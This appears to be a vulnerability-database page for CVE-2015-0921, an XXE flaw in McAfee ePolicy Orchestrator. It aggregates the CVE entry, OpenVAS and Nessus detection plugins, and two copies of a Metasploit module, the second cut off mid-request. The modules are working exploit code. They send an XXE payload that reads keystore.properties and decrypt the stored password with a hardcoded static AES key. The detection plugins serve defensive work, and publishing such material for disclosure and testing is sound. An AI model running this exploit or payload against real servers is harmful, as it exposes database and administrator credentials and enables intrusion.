ID CVE-2015-0921 Type cve Reporter cve@mitre.org Modified 2017-09-08T01:29:00
Description
XML external entity (XXE) vulnerability in the Server Task Log in McAfee ePolicy Orchestrator (ePO) before 4.6.9 and 5.x before 5.1.2 allows remote authenticated users to read arbitrary files via the conditionXML parameter to the taskLogTable to orionUpdateTableFilter.do.
<a href="http://cwe.mitre.org/data/definitions/611.html">CWE-611: Improper Restriction of XML External Entity Reference ('XXE')</a>
{"openvas": [{"lastseen": "2019-05-29T18:36:47", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-0922", "CVE-2015-0921"], "description": "This host is installed with McAfee ePolicy\n Orchestrator and is prone to multiple vulnerabilities.", "modified": "2019-03-12T00:00:00", "published": "2015-01-12T00:00:00", "id": "OPENVAS:1361412562310805238", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310805238", "type": "openvas", "title": "McAfee ePolicy Orchestrator Multiple Vulnerabilities - Jan15", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_mcafee_epolicy_orchestrator_mult_vuln_jan15.nasl 14117 2019-03-12 14:02:42Z cfischer $\n#\n# McAfee ePolicy Orchestrator Multiple Vulnerabilities - Jan15\n#\n# Authors:\n# Shakeel <bshakeel@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:mcafee:epolicy_orchestrator\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.805238\");\n script_version(\"$Revision: 14117 $\");\n script_cve_id(\"CVE-2015-0922\", \"CVE-2015-0921\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-12 15:02:42 +0100 (Tue, 12 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-01-12 20:02:18 +0530 (Mon, 12 Jan 2015)\");\n script_name(\"McAfee ePolicy Orchestrator Multiple Vulnerabilities - Jan15\");\n\n script_tag(name:\"summary\", value:\"This host is installed with McAfee ePolicy\n Orchestrator and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists as,\n\n - an incorrectly configured XML parser accepting XML external entities from an\n untrusted source.\n\n - application uses the same secret key across different customers installation.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers\n to obtain the administrator password and gain access to arbitrary files.\");\n\n script_tag(name:\"affected\", value:\"McAfee ePolicy Orchestrator version before\n 4.6.9 and 5.x before 5.1.2\");\n\n script_tag(name:\"solution\", value:\"Upgrade to McAfee ePolicy Orchestrator\n version 4.6.9 or 5.1.2 or later.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_xref(name:\"URL\", value:\"http://packetstormsecurity.com/files/129827\");\n script_xref(name:\"URL\", value:\"http://seclists.org/fulldisclosure/2015/Jan/8\");\n script_xref(name:\"URL\", value:\"https://kc.mcafee.com/corporate/index?page=content&id=SB10095\");\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_mcafee_epolicy_orchestrator_detect.nasl\");\n script_mandatory_keys(\"mcafee_ePO/installed\");\n script_require_ports(\"Services/www\", 8443);\n exit(0);\n}\n\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\n\nif(!mcaPort = get_app_port(cpe:CPE)){\n exit(0);\n}\n\nif(!mcaVer = get_app_version(cpe:CPE, port:mcaPort)){\n exit(0);\n}\n\nif(version_is_less(version:mcaVer, test_version:\"4.6.9\")||\n version_in_range(version:mcaVer, test_version:\"5.0.0\", test_version2:\"5.1.1\"))\n{\n security_message(port:mcaPort);\n exit(0);\n}\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "metasploit": [{"lastseen": "2020-10-12T20:59:08", "description": "This module will exploit an authenticated XXE vulnerability to read the keystore.properties off of the filesystem. This properties file contains an encrypted password that is set during installation. What is interesting about this password is that it is set as the same password as the database 'sa' user and of the admin user created during installation. This password is encrypted with a static key, and is encrypted using a weak cipher (ECB). By default, if installed with a local SQL Server instance, the SQL Server is listening on all interfaces. Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server user in order to achieve remote command execution with permissions of the database process. If the administrator has not changed the password for the initially created account since installation, the attacker will have the password for this account. By default, 'admin' is recommended. Any user account can be used to exploit this, all that is needed is a valid credential. The most data that can be successfully retrieved is 255 characters due to length restrictions on the field used to perform the XXE attack.\n", "published": "2015-01-14T16:54:58", "type": "metasploit", "title": "McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-0921", "CVE-2015-0922"], "modified": "2020-10-02T20:00:37", "id": "MSF:AUXILIARY/GATHER/MCAFEE_EPO_XXE", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'openssl'\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',\n 'Description' => %q{\n This module will exploit an authenticated XXE vulnerability to read the keystore.properties\n off of the filesystem. This properties file contains an encrypted password that is set during\n installation. What is interesting about this password is that it is set as the same password\n as the database 'sa' user and of the admin user created during installation. This password\n is encrypted with a static key, and is encrypted using a weak cipher (ECB). By default,\n if installed with a local SQL Server instance, the SQL Server is listening on all interfaces.\n\n Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server\n user in order to achieve remote command execution with permissions of the database process. If\n the administrator has not changed the password for the initially created account since installation,\n the attacker will have the password for this account. By default, 'admin' is recommended.\n\n Any user account can be used to exploit this, all that is needed is a valid credential.\n\n The most data that can be successfully retrieved is 255 characters due to length restrictions\n on the field used to perform the XXE attack.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Brandon Perry <bperry.volatile[at]gmail.com>' #metasploit module\n ],\n 'References' =>\n [\n ['CVE', '2015-0921'],\n ['CVE', '2015-0922'],\n ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/8']\n ],\n 'DisclosureDate' => '2015-01-06'\n ))\n\n register_options(\n [\n Opt::RPORT(8443),\n OptBool.new('SSL', [true, 'Use SSL', true]),\n OptString.new('TARGETURI', [ true, \"Base ePO directory path\", '/']),\n OptString.new('USERNAME', [true, \"The username to authenticate with\", \"username\"]),\n OptString.new('PASSWORD', [true, \"The password to authenticate with\", \"password\"])\n ])\n end\n\n def run\n key = \"\\x5E\\x9C\\x3E\\xDF\\xE6\\x25\\x84\\x36\\x66\\x21\\x93\\x80\\x31\\x5A\\x29\\x33\" #static key used\n\n aes = OpenSSL::Cipher.new('AES-128-ECB') # ecb, bad bad tsk\n aes.decrypt\n aes.padding=1\n aes.key = key\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n cookie = res.get_cookies\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'),\n 'method' => 'POST',\n 'vars_post' => {\n 'j_username' => datastore['USERNAME'],\n 'j_password' => datastore['PASSWORD']\n },\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n cookie = res.get_cookies\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n if res.code != 302\n fail_with(Failure::Unknown, 'Authentication failed')\n end\n\n cookie = res.get_cookies\n\n #This vuln requires a bit of setup before we can exploit it\n\n print_status(\"Setting up environment for exploitation\")\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n auth_token = $1 if res.body =~ /id=\"orion.user.security.token\" value=\"(.*)\"\\/>/\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'),\n 'vars_get' => {\n 'sectionId' => 'orion.automation',\n 'tabId' => 'orion.tasklog',\n 'orion.user.security.token' => auth_token\n },\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'),\n 'vars_get' => {\n 'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n 'filter' => 'scheduler.tasklog.filter.day',\n 'secondaryFilter' => '',\n 'tableCellRendererAttr' => 'taskLogCellRenderer',\n 'count' => 44,\n 'sortProperty' => 'OrionTaskLogTask.StartDate',\n 'sortOrder' => 1,\n 'id' => 'taskLogTable'\n },\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),\n 'vars_get' => {\n 'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n 'tableId' => 'taskLogTable',\n 'orion.user.security.token' => auth_token\n },\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),\n 'method' => 'POST',\n 'vars_post' => {\n 'dataSourceAttr' => 'scheduler.tasklog.datasource.attr',\n 'tableId' => 'taskLogTable',\n 'columnWidths' => '285,285,285,285,285,285,285,285',\n 'sortColumn' => 'OrionTaskLogTask.StartDate',\n 'sortOrder' => '1',\n 'showFilters' => 'true',\n 'currentIndex' => 0,\n 'orion.user.security.token' => auth_token,\n 'ajaxMode' => 'standard'\n },\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),\n 'method' => 'POST',\n 'vars_post' => {\n 'displayType' => 'text_lookup',\n 'operator' => 'eq',\n 'propKey' => 'OrionTaskLogTask.Name',\n 'instanceId' => 0,\n 'orion.user.security.token' => auth_token,\n 'ajaxMode' => 'standard'\n },\n 'cookie' => cookie\n })\n\n print_status(\"Sending payload...\")\n\n filepath = \"C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties\"\n xxe = '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM \"file:///'+filepath+'\" >]><conditions><condition grouping=\"or\"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>'\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),\n 'method' => 'POST',\n 'vars_post' => {\n 'orion.user.security.token' => auth_token,\n 'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n 'tableId' => 'taskLogTable',\n 'conditionXML' => xxe,\n 'secondaryFilter' => '',\n 'op' => 'eq',\n 'ajaxMode' => 'standard'\n },\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n if res.code == 404\n fail_with(Failure::Unknown, \"Server likely has mitigation in place\")\n end\n\n print_status(\"Getting encrypted passphrase value from keystore.properties file...\")\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),\n 'vars_get' => {\n 'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\n 'tableId' => 'taskLogTable',\n 'orion.user.security.token' => auth_token\n },\n 'cookie' => cookie\n })\n\n unless res\n fail_with(Failure::Unknown, \"Server did not respond in an expected way\")\n end\n\n passphrase = $1 if res.body =~ /passphrase=(.*?)\\\\u003/\n\n passphrase = passphrase.gsub('\\\\\\\\=', '=').gsub(\"\\\\u002f\", \"/\").gsub(\"\\\\u002b\", \"+\")\n\n print_status(\"Base64 encoded encrypted passphrase: #{passphrase}\")\n\n passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final\n\n print_good(\"The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}\")\n end\nend\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/gather/mcafee_epo_xxe.rb"}], "nessus": [{"lastseen": "2021-01-01T03:45:58", "description": "The version of McAfee ePolicy Orchestrator (ePO) installed on the\nremote Windows host is 4.x prior to 4.6.9 or 5.x prior to 5.1.2. It\nis, therefore, affected by multiple vulnerabilities :\n\n - An XXE (XML External Entity) injection vulnerability\n exists in the Server Task Log due to an incorrectly\n configured XML parser accepting XML external entities\n from an untrusted source. A remote, authenticated\n attacker, by sending specially crafted XML data via the\n 'conditionXML' parameter, can gain access to arbitrary\n files. (CVE-2015-0921)\n\n - An information disclosure vulnerability exists due to\n the use of a shared secret key to encrypt password\n information. A remote attacker with knowledge of the key\n can decrypt the administrator password. (CVE-2015-0922)", "edition": 26, "published": "2015-01-30T00:00:00", "title": "McAfee ePolicy Orchestrator 4.x < 4.6.9 / 5.x < 5.1.2 Multiple Vulnerabilities (SB10095)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-0922", "CVE-2015-0921"], "modified": "2021-01-02T00:00:00", "cpe": ["cpe:/a:mcafee:epolicy_orchestrator"], "id": "MCAFEE_EPO_SB10095.NASL", "href": "https://www.tenable.com/plugins/nessus/81106", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(81106);\n script_version(\"1.9\");\n script_cvs_date(\"Date: 2018/11/15 20:50:27\");\n\n script_cve_id(\"CVE-2015-0921\", \"CVE-2015-0922\");\n script_bugtraq_id(71881, 72298);\n script_xref(name:\"MCAFEE-SB\", value:\"SB10095\");\n\n script_name(english:\"McAfee ePolicy Orchestrator 4.x < 4.6.9 / 5.x < 5.1.2 Multiple Vulnerabilities (SB10095)\");\n script_summary(english:\"Checks the version of ePolicy Orchestrator.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A security management application installed on the remote host is\naffected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of McAfee ePolicy Orchestrator (ePO) installed on the\nremote Windows host is 4.x prior to 4.6.9 or 5.x prior to 5.1.2. It\nis, therefore, affected by multiple vulnerabilities :\n\n - An XXE (XML External Entity) injection vulnerability\n exists in the Server Task Log due to an incorrectly\n configured XML parser accepting XML external entities\n from an untrusted source. A remote, authenticated\n attacker, by sending specially crafted XML data via the\n 'conditionXML' parameter, can gain access to arbitrary\n files. (CVE-2015-0921)\n\n - An information disclosure vulnerability exists due to\n the use of a shared secret key to encrypt password\n information. A remote attacker with knowledge of the key\n can decrypt the administrator password. (CVE-2015-0922)\");\n script_set_attribute(attribute:\"see_also\", value:\"https://kc.mcafee.com/corporate/index?page=content&id=SB10095\");\n script_set_attribute(attribute:\"see_also\", value:\"https://seclists.org/fulldisclosure/2015/Jan/37\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to McAfee ePO version 4.6.9 / 5.1.2 or later, or apply the\nvendor-supplied workaround.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/01/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/01/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/01/30\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:mcafee:epolicy_orchestrator\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2015-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"mcafee_epo_installed.nasl\");\n script_require_keys(\"SMB/mcafee_epo/Path\", \"SMB/mcafee_epo/ver\");\n script_require_ports(\"SMB/transport\", 139, 445);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_reg_query.inc\");\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\n\napp_name = \"McAfee ePO\";\nversion = get_kb_item_or_exit(\"SMB/mcafee_epo/ver\");\npath = get_kb_item_or_exit(\"SMB/mcafee_epo/Path\");\nport = get_kb_item_or_exit(\"SMB/transport\");\npatch = FALSE;\nvuln = FALSE;\n\nregistry_init();\nhklm = registry_hive_connect(hive:HKEY_LOCAL_MACHINE, exit_on_fail:TRUE);\nkey = \"SOFTWARE\\Network Associates\\ePolicy Orchestrator\\InstallFolder\";\n\npath = get_registry_value(handle:hklm, item:key);\nRegCloseKey(handle:hklm);\nif (isnull(path))\n{\n close_registry();\n audit(AUDIT_NOT_INST, app_name);\n}\n\norig_path = path;\n\nif ('PROGRA~' >< path)\n{\n path = ereg_replace(string:path, pattern:\"PROGRA~\\d+\", replace:\"Program Files\");\n path = ereg_replace(string:path, pattern:\"EPOLIC~\\d+\", replace:\"ePolicy Orchestrator\");\n}\nproperties = path + \"Server\\webapps\\core\\WEB-INF\\mvcactions.xml\";\nworkaround = hotfix_get_file_contents(properties);\nerr_res = hotfix_handle_error(error_code:workaround['error'], file:properties, exit_on_fail:FALSE);\nif (!isnull(err_res))\n{\n arch = get_kb_item_or_exit('SMB/ARCH');;\n if (arch == \"x64\")\n {\n path = orig_path;\n if ('PROGRA~' >< path)\n {\n path = ereg_replace(string:path, pattern:\"PROGRA~\\d+\", replace:\"Program Files (x86)\");\n path = ereg_replace(string:path, pattern:\"EPOLIC~\\d+\", replace:\"ePolicy Orchestrator\");\n }\n properties = path + \"Server\\webapps\\core\\WEB-INF\\mvcactions.xml\";\n workaround = hotfix_get_file_contents(properties);\n err_res = hotfix_handle_error(error_code:workaround['error'], file:properties, exit_on_fail:TRUE);\n }\n}\nhotfix_check_fversion_end();\n\n#\n# See Mitigation for ePO 4.6.x and 5.x.x servers:\n# https://kc.mcafee.com/corporate/index?page=content&id=SB10095\n# Check <ePO_installation_directory>\\Server\\webapps\\core\\WEB-INF directory for\n# mvcactions.xml, then look for a line containing the following :\n# -\n# workaround no applied\n# <action name=\"orionUpdateTableFilter.do\" execute=\"updateFilter\" checkSecurityToken=\"true\"/>\n# +\n# workaround applied\n# <!-- <action name=\"orionUpdateTableFilter.do\" execute=\"updateFilter\" checkSecurityToken=\"true\"/> -->\n#\n\ndata = workaround['data'];\npattern = '<!-- <action name=\\\"orionUpdateTableFilter.do\\\" execute=\\\"updateFilter\\\" checkSecurityToken=\\\"true\\\"/> -->';\nitem = eregmatch(pattern:pattern, string:data);\nif (!isnull(item))\n{\n patch = TRUE;\n}\n\nif (version == UNKNOWN_VER)\n audit(AUDIT_UNKNOWN_APP_VER, app_name);\n\nif (version =~ \"^4\\.[56]\\.\" && ver_compare(ver:version, fix:\"4.6.9\", strict:FALSE) == -1)\n vuln = TRUE;\n\nif (version =~ \"^5\\.[01]\\.\" && ver_compare(ver:version, fix:\"5.1.2\", strict:FALSE) == -1)\n vuln = TRUE;\n\nif (patch == FALSE && vuln == TRUE)\n{\n if (report_verbosity > 0)\n {\n report =\n '\\n Installation Path : ' + path +\n '\\n Installed version : ' + version +\n '\\n Fixed version : See solution.\\n';\n\n security_warning(port:port, extra:report);\n }\n else security_warning(port);\n}\nelse audit(AUDIT_INST_PATH_NOT_VULN, app_name, version, path);\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "zdt": [{"lastseen": "2018-03-10T04:07:00", "description": "This module will exploit an authenticated XXE vulnerability to read the keystore.properties off of the filesystem. This properties file contains an encrypted password that is set during installation. What is interesting about this password is that it is set as the same password as the database 'sa' user and of the admin user created during installation. This password is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default, if installed with a local SQL Server instance, the SQL server is listening on all interfaces. Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server user in order to achieve remote command execution with permissions of the database process. If the administrator has no changed the password for the initially created account since installation, the attacker also now has the password for this account. By default, 'admin' is recommended. Any user account can be used to exploit this, all that is needed is a pair of credentials. The most data that can be successfully retrieved is 255 characters due to length restrictions on the field used to perform the XXE attack.#### Usage Info\nmsf > use auxiliary/gather/mcafee_epo_xxe msf\rauxiliary(mcafee_epo_xxe) > show actions ...actions... msf\rauxiliary(mcafee_epo_xxe) > set ACTION <action-name> msf\rauxiliary(mcafee_epo_xxe) > show options ...show and set options... \rmsf auxiliary(mcafee_epo_xxe) > run", "edition": 2, "published": "2015-01-20T00:00:00", "type": "zdt", "title": "McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-0922", "CVE-2015-0921"], "modified": "2015-01-20T00:00:00", "id": "1337DAY-ID-23158", "href": "https://0day.today/exploit/description/23158", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\nrequire 'msf/core'\r\nrequire 'openssl'\r\nclass Metasploit3 < Msf::Auxiliary\r\ninclude Msf::Exploit::Remote::HttpClient\r\ndef initialize(info = {})\r\nsuper(update_info(info,\r\n'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',\r\n'Description' => %q{\r\nThis module will exploit an authenticated XXE vulnerability to read the keystore.properties\r\noff of the filesystem. This properties file contains an encrypted password that is set during\r\ninstallation. What is interesting about this password is that it is set as the same password\r\nas the database 'sa' user and of the admin user created during installation. This password\r\nis encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default,\r\nif installed with a local SQL Server instance, the SQL server is listening on all interfaces.\r\nRecovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server\r\nuser in order to achieve remote command execution with permissions of the database process. If\r\nthe administrator has no changed the password for the initially created account since installation,\r\nthe attacker also now has the password for this account. By default, 'admin' is recommended.\r\nAny user account can be used to exploit this, all that is needed is a pair of credentials.\r\nThe most data that can be successfully retrieved is 255 characters due to length restrictions\r\non the field used to perform the XXE attack.\r\n},\r\n'License' => MSF_LICENSE,\r\n'Author' =>\r\n[\r\n'Brandon Perry <bperry.volatile[at]gmail.com>' #metasploit module\r\n],\r\n'References' =>\r\n[\r\n['CVE', '2015-0921'],\r\n['CVE', '2015-0922'],\r\n['URL', 'http://seclists.org/fulldisclosure/2015/Jan/8']\r\n],\r\n'DisclosureDate' => 'Jan 6 2015'\r\n))\r\nregister_options(\r\n[\r\nOpt::RPORT(8443),\r\nOptBool.new('SSL', [true, 'Use SSL', true]),\r\nOptString.new('TARGETURI', [ true, \"Base ePO directory path\", '/']),\r\nOptString.new('USERNAME', [true, \"The username to authenticate with\", \"username\"]),\r\nOptString.new('PASSWORD', [true, \"The password to authenticate with\", \"password\"])\r\n], self.class)\r\nend\r\ndef run\r\nkey = \"\\x5E\\x9C\\x3E\\xDF\\xE6\\x25\\x84\\x36\\x66\\x21\\x93\\x80\\x31\\x5A\\x29\\x33\" #static key used\r\naes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk\r\naes.decrypt\r\naes.padding=1\r\naes.key = key\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\ncookie = res.get_cookies\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'),\r\n'method' => 'POST',\r\n'vars_post' => {\r\n'j_username' => datastore['USERNAME'],\r\n'j_password' => datastore['PASSWORD']\r\n},\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\ncookie = res.get_cookies\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\nif res.code != 302\r\nfail_with(Failure::Unknown, 'Authentication failed')\r\nend\r\ncookie = res.get_cookies\r\n#This vuln requires a bit of setup before we can exploit it\r\nprint_status(\"Setting up environment for exploitation\")\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\nauth_token = $1 if res.body =~ /id=\"orion.user.security.token\" value=\"(.*)\"\\/>/\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'),\r\n'vars_get' => {\r\n'sectionId' => 'orion.automation',\r\n'tabId' => 'orion.tasklog',\r\n'orion.user.security.token' => auth_token\r\n},\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'),\r\n'vars_get' => {\r\n'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\r\n'filter' => 'scheduler.tasklog.filter.day',\r\n'secondaryFilter' => '',\r\n'tableCellRendererAttr' => 'taskLogCellRenderer',\r\n'count' => 44,\r\n'sortProperty' => 'OrionTaskLogTask.StartDate',\r\n'sortOrder' => 1,\r\n'id' => 'taskLogTable'\r\n},\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),\r\n'vars_get' => {\r\n'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\r\n'tableId' => 'taskLogTable',\r\n'orion.user.security.token' => auth_token\r\n},\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),\r\n'method' => 'POST',\r\n'vars_post' => {\r\n'dataSourceAttr' => 'scheduler.tasklog.datasource.attr',\r\n'tableId' => 'taskLogTable',\r\n'columnWidths' => '285,285,285,285,285,285,285,285',\r\n'sortColumn' => 'OrionTaskLogTask.StartDate',\r\n'sortOrder' => '1',\r\n'showFilters' => 'true',\r\n'currentIndex' => 0,\r\n'orion.user.security.token' => auth_token,\r\n'ajaxMode' => 'standard'\r\n},\r\n'cookie' => cookie\r\n})\r\nunless res\r\nfail_with(Failure::Unknown, \"Server did not respond in an expected way\")\r\nend\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),\r\n'method' => 'POST',\r\n'vars_post' => {\r\n'displayType' => 'text_lookup',\r\n'operator' => 'eq',\r\n'propKey' => 'OrionTaskLogTask.Name',\r\n'instanceId' => 0,\r\n'orion.user.security.token' => auth_token,\r\n'ajaxMode' => 'standard'\r\n},\r\n'cookie' => cookie\r\n})\r\nprint_status(\"Sending payload...\")\r\nfilepath = \"C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties\"\r\nxxe = '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM \"file:///'+filepath+'\" >]><conditions><condition grouping=\"or\"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>'\r\nres = send_request_cgi({\r\n'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),\r\n'method' => 'POST',\r\n'vars_post' => {\r\n'orion.user.security.token' => auth_token,\r\n'datasourceAttr' => 'scheduler.tasklog.datasource.attr',\r\n'tableId' => 'taskLogTable',\r\n'conditionXML' => xxe,\r\n'secondaryFilter' => '',\r\n'op' => 'eq',\r\n'ajaxMode' => 